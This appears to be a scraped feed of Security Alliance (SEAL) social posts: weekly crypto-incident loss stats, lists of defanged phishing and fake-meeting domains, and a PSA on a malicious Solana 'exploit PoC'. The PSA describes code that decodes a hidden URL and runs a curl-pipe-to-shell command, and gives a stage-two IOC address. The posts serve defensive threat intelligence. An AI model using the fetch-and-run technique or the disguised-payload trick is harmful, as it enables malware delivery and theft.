Security Alliance✓

SEAL exists because security experts chose to share knowledge instead of hoarding it. Your donation keeps that infrastructure running:

RT @Phalcon_xyz: Who can approve transactions? Who controls privileged access? How does the team respond to incidents? These are operational security questions. BlockSec’s SEAL @_SEAL_Org Certification Assessment evaluates operational controls and supporting evidence against the SEAL framework, with scope determined by the team’s systems, responsibilities, and risks. Explore the six modules and the assessment process 👇

If your protocol is ready to get certified, these firms are accredited and taking clients now. Already working with one of them? Ask about SEAL Certifications starting today. @audit_wizard @BlockSecTeam @chain_security @Composable_Sec @ConsensysAudits @cyfrin @DefiSafety @hackenclub @HackenProof @SecurityOak @OpenZeppelin @opsek_io @Quantstamp @0xshield3 @sigp_io @statemindio @trailofbits @Wonderland @zellic_io @zeroshadow_io Announcement:

🔥 This week's update is a doozy because of the record volume of incidents, losses, IOCs collected, and attack vectors. SEAL weekly stats, 20-27 Oct. 73 incidents. Losses by category: Phishing: $47.1M Protocol compromise: $9.46M DPRK intrusion: $3.22M Cause unknown: $3.12M Malware: $2.27M Pig butchering: $1M + €59.4K Seed compromise: $905k + 829.4 SOL Infrastructure exploit: $517K What we collected: 5,179 malicious domains 126 wallets

Fake meeting pages (Not attributed to any APT) gmeet[.]space gmeets[.]top joingooglemeetings[.]help joinmeeting-now[.]com meetingms[.]com 05zoom[.]live us06zoom[.]us[.]com Fake VC and recruiter fronts. Targets are asked to download malicious video conferencing application, perform ClickFix or install bogus Obsidian plugins (depending on the attacker). mirae[.]fund shape3[.]vc boardroomtalent[.]co hiresharbor[.]com

@SEAL_911 is free to anyone who needs it, and stays that way because people fund it. If this week's numbers are useful to you, fund next week's: If you require a direct and more detailed data feed from SEAL Intel contact us on our website (link in bio).

🚨 PSA: threat actors are approaching crypto projects on Telegram, posing as white-hat researchers, offering an “exploit PoC” for your own infra. The PoC contains malware. Our detailed write-up is linked below. It’s a complete, runnable Solana exploit kit (fork harness, fixtures, the real program binary) so it looks legit. But poc.mjs reads a byte array from a JSON field called UnifiedSignatureInfo, decodes it to a URL, and runs curl -fsSL -k "<url>" | sh. The decimal array is plain ASCII posing as a Solana signature. Following the README (npm install, start fork, node poc.mjs) is what detonates it. IOC: hxxps://162[.]35[.]174[.]231:5000/stage2. Treat any unsolicited PoC as hostile, review statically in an isolated VM, and never run the setup steps on a box you care about. Report any suspicious reachouts to SEAL.

Many thanks to @Lavaragexyz for tipping us off on that attack vector! Security aware community is the first line of defense against malicious actors.

SEAL weekly stats, 13-20 Oct. 70 incidents. Losses by category: 1) CryptoBilis: $9.3M 2) Seed compromise: $3.86M + 64.5 ETH + 0.3 BTC 3) Protocol compromise: $2M + 37.44 ETH 4) Account takeover: $1.6M 5) Wrench attacks: $1.22M 6) Malware: $316K + 0.47 BTC 7) Phishing: $284K 8) DPRK intrusion: $260K

SINT-69, an uncategorized intrusion set, keeps minting fake Zoom/Teams domains: 03nweb[.]us 04webz[.]us 05webz[.]us web05z[.]us lives[.]eu[.]com teamlives[.]business teamslive[.]uk[.]com u06web[.]us web06z[.]us zoomwweb[.]us Unclassified fake meeting pages: meets-calls[.]com msmeet[.]sbs us89webzoom[.]us

@SEAL_911 is free to anyone who needs it, and stays that way because people fund it. If this week's numbers are useful to you, fund next week's: If you require a direct and more detailed data feed from SEAL Intel contact us on our website (link in bio).